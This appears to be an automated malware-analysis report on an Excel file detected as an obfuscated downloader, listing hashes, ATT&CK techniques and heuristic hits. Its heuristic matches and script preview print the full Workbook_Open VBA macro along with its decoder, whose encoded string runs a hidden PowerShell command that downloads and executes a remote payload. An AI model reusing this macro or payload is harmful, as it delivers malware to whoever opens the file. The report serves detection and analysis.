Xls.Downloader.Obfuse-9382072-0 — Office (OOXML) malware analysis

Static analysis result for SHA-256 5efee656491f9b85…

MALICIOUS

Office (OOXML)

152.4 KB Created: 2020-07-06 23:04:28 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-07-24
MD5: 91d5c4b8621afd24569590621c4ab6e4 SHA-1: a00b51b2c28c48491b278b24e394dcd3c0526209 SHA-256: 5efee656491f9b85b8ca17a0c8622b193fe9a045991d992320fac373f2cb2d27
290 Risk Score

Malware Insights

Xls.Downloader.Obfuse-9382072-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel document containing a Workbook_Open VBA macro. This macro utilizes WScript.Shell to execute obfuscated code, which decodes to a command that likely downloads and executes a second-stage payload. The ClamAV detection name 'Xls.Downloader.Obfuse-9382072-0' further supports this analysis.

Heuristics 7

  • ClamAV: Xls.Downloader.Obfuse-9382072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Obfuse-9382072-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F44447887847C89878943788482445E5C447A81437F857C3C41397A838B4F697A8285403C71787D7E877A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C71787D7E877A437A8 …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F44447887847C89878943788482445E5C447A81437F857C3C41397A838B4F697A8285403C71787D7E877A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C71787D7E877A437A8 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1523 bytes
SHA-256: 8338fcdd18dd637ab39f014608efb4b843db921e77fd871f1dbb0c2794463394
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F44447887847C89878943788482445E5C447A81437F857C3C41397A838B4F697A8285403C71787D7E877A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C71787D7E877A437A8D7A3C3E")
End Sub
  Function ChrEncode(CodeKey As String, str As String)
        Dim n As Integer
        Dim i As Integer
        Dim sStr
        n = 221
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 21)
        Next
        ChrEncode = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: 5576ae654558a8ba9228d52cab84e083a385ee6417d9663c9c8bc3e29c27458d
Detection
ClamAV: Xls.Downloader.Obfuse-9382072-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).